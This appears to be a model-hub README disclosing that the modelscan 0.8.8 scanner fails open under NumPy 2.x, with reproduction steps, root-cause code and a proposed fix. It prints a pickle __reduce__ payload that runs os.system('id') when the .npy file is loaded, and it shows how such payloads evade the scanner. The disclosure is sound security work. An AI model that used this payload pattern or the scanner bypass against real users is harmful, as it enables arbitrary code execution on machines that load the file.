PoC: NumpyUnsafeOpScan Crash on NumPy 2.x (modelscan v0.8.8)

This repository contains a proof-of-concept model file demonstrating a security vulnerability in modelscan v0.8.8.

Vulnerability

NumpyUnsafeOpScan calls numpy.lib.format._check_version(), a private API removed in NumPy 2.0. When modelscan runs on any system with NumPy ≥ 2.0 (current stable), the scanner crashes with AttributeError for every .npy file containing object-dtype arrays. The error is silently swallowed and the scan returns "No issues found" — even when the file contains payloads using CRITICAL-blocked modules like os.system.

  • Affected: modelscan 0.8.8 + NumPy ≥ 2.0.0
  • Root cause: modelscan/tools/picklescanner.py, line 231: np.lib.format._check_version(version)
  • Severity: CRITICAL (scanner fails open; blocked payloads bypass detection)

Reproduction Steps

1. Setup

pip install modelscan numpy   # installs numpy 2.x by default

2. Verify environment

python -c "import numpy; print(numpy.__version__)"   # should be >= 2.0

3. Scan the PoC model

modelscan -p model.npy

Expected output (modelscan SHOULD flag this):

CRITICAL: Unsafe operator found: os.system

Actual output:

Error encountered from scanner modelscan.scanners.NumpyUnsafeOpScan:
  module 'numpy.lib.format' has no attribute '_check_version'

--- Summary ---
 No issues found! 🎉

4. Confirm payload executes (victim loads the model)

python -c "import numpy as np; np.load('model.npy', allow_pickle=True)"
# → runs os.system("id") → prints uid=1000(...)

Root Cause

# modelscan/tools/picklescanner.py, line 229-232
elif magic == np.lib.format.MAGIC_PREFIX:
    version = np.lib.format.read_magic(stream)
    np.lib.format._check_version(version)        # ← REMOVED in NumPy 2.0
    _, _, dtype = np.lib.format._read_array_header(stream, version)  # ← also gone

Both _check_version and _read_array_header are private APIs removed in NumPy 2.0. The resulting AttributeError is caught by an outer except Exception handler that logs the error but returns no scan results — causing a fail-open behavior.

Fix

Remove the call to np.lib.format._check_version() and replace _read_array_header with the public API, or catch AttributeError and fail closed (return UNSAFE).

Payload inside model.npy

import numpy as np, pickle, os

class OsSystemRCE:
    def __reduce__(self):
        return (os.system, ("id",))   # os.system IS in CRITICAL blocklist

arr = np.array([OsSystemRCE()], dtype=object)
np.save("model.npy", arr)
Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. 🙋 Ask for provider support